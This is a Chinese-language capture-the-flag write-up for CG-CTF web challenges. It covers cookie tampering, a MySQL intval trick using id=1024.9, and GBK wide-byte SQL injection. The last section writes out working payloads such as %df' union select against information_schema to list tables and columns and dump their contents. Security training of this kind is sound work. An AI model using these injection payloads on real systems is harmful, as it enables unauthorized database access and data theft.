寫了一部分的web題,算是把它最基礎的一部分做了一遍,以后的幾天將持續更新CG-CTF WEB部分的題解,為了不影響閱讀,所以每五道題的題解以一篇文章的形式發表,感謝大家一直以來的支持和理解,共勉~~~
Download~!
這個題題庫出現了問題,暫時不能訪問,隨后更新
COOKIE
打開題目,看到一條提示,0=not,隨后我們打開網頁
提示我們please login fist 繼續登陸,我們知道cookie就是儲存登陸信息的。
這個題目也就是考察cookie,打開BP,抓一下數據包
將Login改為1即可得到flag
MYSQL
打開題目,給了一條提示Do you know robots.txt?下邊是一條百度百科鏈接 ,查看一下並沒有有用的東西
聯想以下這個題目,mysql,提示又是Do you know robots.txt?我們知道robots.txt這里的內容嗎???
於是乎我們查看一下看能不能打開
http://chinalover.sinaapp.com/web11/robots.txt
TIP:sql.php <?php if($_GET[id]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $id = intval($_GET[id]); $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'")); if ($_GET[id]==1024) { echo "<p>no! try again</p>"; } else{ echo($query[content]); } } ?>
查看到的是這樣的代碼 ,我們一點一點的提取有用信息
sql.php 並以get形式傳輸一個id的值T題目中提示了一個1024
那我們就根據提示試一試看能不能得到flag
http://chinalover.sinaapp.com/web11/sql.php?id=1024
提示no! try again,讓我們繼續嘗試,我們繼續使用不同id值進行傳輸,提示no msg in或者no more
而且大於1025小於1020的id值沒有任何返回信息
這個時候我們再回到1024,考慮到內容很大可能就在1024的id里邊,但根據代碼判斷不能是1024才顯示
那我們就要想有什么可以等效1024,但不等於1024
那很容易想到時mysql的精度問題,輸入1024.9試試
flag就出來了
GBK Injection
打開題目,我們觀察時候首先想到的是改一下id的值看能不能得到答案
改為二之后出現了這樣的一段字符gbk_sql_injection
聯想提目標題也是GBK injection 這道題就是GBK的寬字符注入了
這里是一篇關於gbk字符詳細的文章[轉載]sql寬字節注入詳解有興趣的可以查閱以下
其他的不說了,直接上文字教程了
爆庫id=1%df' union select 1,database %23得到庫名 sae-chinalover
爆表id=%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23 爆表
得到表名 ctf,ctf2,ctf3,ctf4,news
暴字段ctf2表 %df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746632 %23
得到字段名 id,content(別問我為啥選ctf2表,一個一個試出來的)
暴內容 id=%df' union select 1,group_concat(id,0x3a,content) from ctf2 %23
之后就能得到flag了